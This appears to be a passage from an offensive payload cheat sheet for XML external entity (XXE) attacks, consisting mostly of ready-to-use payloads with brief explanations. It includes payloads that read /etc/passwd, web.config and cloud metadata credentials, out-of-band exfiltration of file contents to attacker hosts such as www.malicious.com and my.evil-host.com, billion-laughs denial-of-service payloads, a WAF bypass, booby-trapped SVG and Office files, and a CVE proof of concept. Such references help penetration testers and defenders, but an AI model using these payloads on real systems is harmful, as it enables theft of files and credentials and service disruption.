-
Internal Entity
: If an entity is declared within a DTD it is called as internal entity. Syntax:<!ENTITY entity_name "entity_value">
-
External Entity
: If an entity is declared outside a DTD it is called as external entity. Identified by SYSTEM. Syntax:<!ENTITY entity_name SYSTEM "entity_value">
The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optional DOCTYPE element at the start of the XML document. The DTD can be fully self-contained within the document itself (known as an "internal DTD") or can be loaded from elsewhere (known as an "external DTD") or can be hybrid of the two.
Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName
and "Doe" in lastName
. Entities are defined inside the DOCTYPE
element.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
It might help to set the Content-Type: application/xml
in the request when sending XML payload to the server.
We try to display the content of the file /etc/passwd
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
⚠️ SYSTEM
andPUBLIC
are almost synonym
<!ENTITY % xxe PUBLIC "Random Text" "URL">
<!ENTITY xxe PUBLIC "Any TEXT" "URL">
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<address>42 rue du CTF</address>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>
When you can't modify the DOCTYPE element use the XInclude to target
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
XXE can be combined with the SSRF vulnerability to target another service on the network
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
An XXE could be used to abuse a SSRF inside a cloud
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
Using the previously commented technique you can make the server access a server you control to show it's vulnerable. But, if that's not working, maybe is because XML entities aren't allowed, in that case you could try using XML parameter entities:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
A variant of the Billion Laughs attack, using delayed interpretation of parameter entities, by Sebastian Pipping.
<!DOCTYPE r [
<!ENTITY % pe_1 "<!---->">
<!ENTITY % pe_2 "%pe_1;<!---->%pe_1;">
<!ENTITY % pe_3 "%pe_2;<!---->%pe_2;">
<!ENTITY % pe_4 "%pe_3;<!---->%pe_3;">
%pe_4;
]>
<r/>
Short list of dtd files already stored on Linux systems; list them with locate .dtd
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/share/xml/svg/svg10.dtd
/usr/share/xml/svg/svg11.dtd
/usr/share/yelp/dtd/docbookx.dtd
The file /usr/share/xml/fontconfig/fonts.dtd
has an injectable entity %constant
at line 148: <!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>
The final payload becomes:
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///patt/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message>Text</message>
Payload to trigger the XXE
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
%ext;
]>
<message></message>
Content of ext.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
Let's break down the payload:
<!ENTITY % file SYSTEM "file:///etc/passwd">
This line defines an external entity named file that references the content of the file/etc/passwd
(a Unix-like system file containing user account details).<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
This line defines an entity eval that holds another entity definition. This other entity (error) is meant to reference a nonexistent file and append the content of the file entity (the/etc/passwd
content) to the end of the file path. The%
is a URL-encoded '%
' used to reference an entity inside an entity definition.%eval;
This line uses the eval entity, which causes the entity error to be defined.%error;
Finally, this line uses the error entity, which attempts to access a nonexistent file with a path that includes the content of/etc/passwd
. Since the file doesn't exist, an error will be thrown. If the application reports back the error to the user and includes the file path in the error message, then the content of/etc/passwd
would be disclosed as part of the error message, revealing sensitive information.
Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.
The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>
Send the content of /etc/passwd
to "www.malicious.com", you may receive only the first line.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
CVE-2018-11788 affecting versions:
- Apache Karaf <= 4.2.1
- Apache Karaf <= 4.1.6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
Send the XML file to the deploy folder. Ref. brianwrf/CVE-2018-11788
In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:
<!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'>]>
<root>&test;</root>
If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///abcxyz/">
%local_dtd;
]>
<root></root>
Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.
<!DOCTYPE root [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<root></root>
If a POST request accepts the data in XML format, you could try to exploit a XXE in that request. For example, if a normal request contains the following:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
Then you might be able submit the following request, with the same result:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
To change the request you could use a Burp Extension named “Content Type Converter“. Here you can find this example:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
Another example can be found here.
XML parsers uses 4 methods to detect encoding:
- HTTP Content Type: Content-Type: text/xml; charset=utf-8
- Reading Byte Order Mark (BOM)
- Reading first symbols of document
- UTF-8 (3C 3F 78 6D)
- UTF-16BE (00 3C 00 3F)
- UTF-16LE (3C 00 3F 00)
- XML declaration:
We can convert the payload to UTF-16 using iconv to bypass some WAF:
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
Unsecure configuration in 10 different Java classes from three XML processing interfaces (DOM, SAX, StAX) that can lead to XXE:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
Classic
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
OOB via SVG rasterization xxe.svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
<text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
<rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
<flowRoot font-size="15">
<flowRegion>
<rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
</flowRegion>
<flowDiv>
<flowPara>&exfil;</flowPara>
</flowDiv>
</flowRoot>
</svg>
xxe.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
Format of an Open XML file (inject the payload in any .xml
file):
- /_rels/.rels
- [Content_Types].xml
- Default Main Document Part
- /word/document.xml
- /ppt/presentation.xml
- /xl/workbook.xml
Then update the file zip -u xxe.docx [Content_Types].xml
Tool: oxml xxe
DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)
Structure of the XLSX:
$ 7z l xxe.xlsx
[...]
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 ..... 578 223 _rels/.rels
2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml
2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml
2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml
2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels
2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml
2021-10-17 15:19:00 ..... 731 352 docProps/core.xml
2021-10-17 15:19:00 ..... 410 246 docProps/app.xml
2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 11216 3586 9 files
Extract Excel file: 7z x -oXXE xxe.xlsx
Rebuild Excel file:
$ cd XXE
$ 7z u ../xxe.xlsx *
Add your blind XXE payload inside xl/workbook.xml
.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
Alternativly, add your payload in xl/sharedStrings.xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file. Instead we build the document once and then change the DTD. And using FTP instead of HTTP allows to retrieve much larger files.
xxe.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
Serve DTD and receive FTP payload using xxeserv:
$ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
Most XXE payloads detailed above require control over both the DTD
or DOCTYPE
block as well as the xml
file. In rare situations, you may only control the DTD
file and won't be able to modify the xml
file. For example, a MITM. When all you control is the DTD
file, and you do not control the xml
file, XXE may still be possible with this payload.
<!-- Load the contents of a sensitive file into a variable -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- Use that variable to construct an HTTP get request with the file contents in the URL -->
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://my.evil-host.com/x=%payload;">'>
%param1;
%external;
From https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "file://D:\webserv2\services\web.config">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://t/#%file;'>">
%eval;
%error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>
Disclose HTTP Response:
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "https://erp.company.com">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://test/#%file;'>">
%eval;
%error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>